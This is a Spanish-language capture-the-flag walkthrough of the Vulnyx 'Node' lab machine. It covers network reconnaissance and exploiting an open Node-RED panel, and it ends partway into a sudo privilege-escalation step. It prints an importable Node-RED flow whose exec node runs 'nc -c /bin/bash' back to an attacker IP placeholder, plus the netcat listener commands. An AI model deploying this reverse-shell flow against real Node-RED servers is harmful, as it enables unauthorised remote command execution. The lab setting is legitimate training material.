Máquina Node (Vulnyx)
Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutaremos el siguiente comando:
$ netdiscover -i eth1 -r 10.0.2.0/24
- Kali (Máquina Atacante): 10.0.2.4
- Máquina Victima: 10.0.2.46
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:
$ ping -c 1 10.0.2.46
Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.
A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:
$ nmap -Pn -p- 10.0.2.46 -sVC
Como podemos comprobar la Máquina Victima tiene abierto el puerto 22, 80 y 1880.
Comprobamos que es lo que corre en el puerto 80.
A continuación, realizamos con la herramienta gobuster un fuzzing web, pero no encontramos nada.
Comprobamos que es lo que corre en el puerto 1880.
Accedemos directamente al panel de Node-Red, por lo tanto nos creamos una reverse shell, para ello primeramente creamos un nodo tcp in.
Seguimos y nos creamos un nodo exec.
Y para finalizar nos creamos un nodo tcp out.
Obteniendo el siguiente resultado:
También podemos seleccionar la opción de importar y pegar la siguiente reverse shell en JSON:
[
{
"id": "7235b2e6.4cdb9c",
"type": "tab",
"label": "revshell",
"disabled": false,
"info": ""
},
{
"id": "83d26d4a935133ce",
"type": "tcp in",
"z": "7235b2e6.4cdb9c",
"name": "",
"server": "client",
"host": "IP-Atacante",
"port": "4443",
"datamode": "stream",
"datatype": "buffer",
"newline": "",
"topic": "",
"trim": false,
"base64": false,
"tls": "",
"x": 100,
"y": 240,
"wires": [
[
"6b03ad1ab408dabb"
]
]
},
{
"id": "013ff020cd35b3c0",
"type": "tcp out",
"z": "7235b2e6.4cdb9c",
"name": "",
"host": "",
"port": "",
"beserver": "reply",
"base64": false,
"end": false,
"tls": "",
"x": 730,
"y": 240,
"wires": []
},
{
"id": "6b03ad1ab408dabb",
"type": "exec",
"z": "7235b2e6.4cdb9c",
"command": "nc -c /bin/bash IP-Atacante 4444",
"addpay": "",
"append": "",
"useSpawn": "false",
"timer": "",
"winHide": false,
"oldrc": false,
"name": "",
"x": 380,
"y": 240,
"wires": [
[
"013ff020cd35b3c0"
],
[
"013ff020cd35b3c0"
],
[
"013ff020cd35b3c0"
]
]
}
]
A continuación, en nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat (nc) nos ponemos a la escucha por el puerto 4443 y por otra terminal por el puerto 4444 por donde vamos a recibir las conexiones, para ello ejecutamos los siguientes comandos:
$ nc -lvnp 4443
$ nc -lvnp 4444
Hacemos click en el botón Deploy.
Y recibimos la conexión por el puerto 4443, presionamos enter.
Y obtenemos una shell por el puerto 4444.
¡¡¡Somos dev!!!.
Hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos:
$ script /dev/null -c bash
Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm
Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:
$ sudo -l
Nos encontramos con el binario node que lo podemos ejecutar como el usuario root. por lo tanto nos vamos a la pagina gtfobins a mirar el payload.
Lo ejecutamos de la siguiente manera:














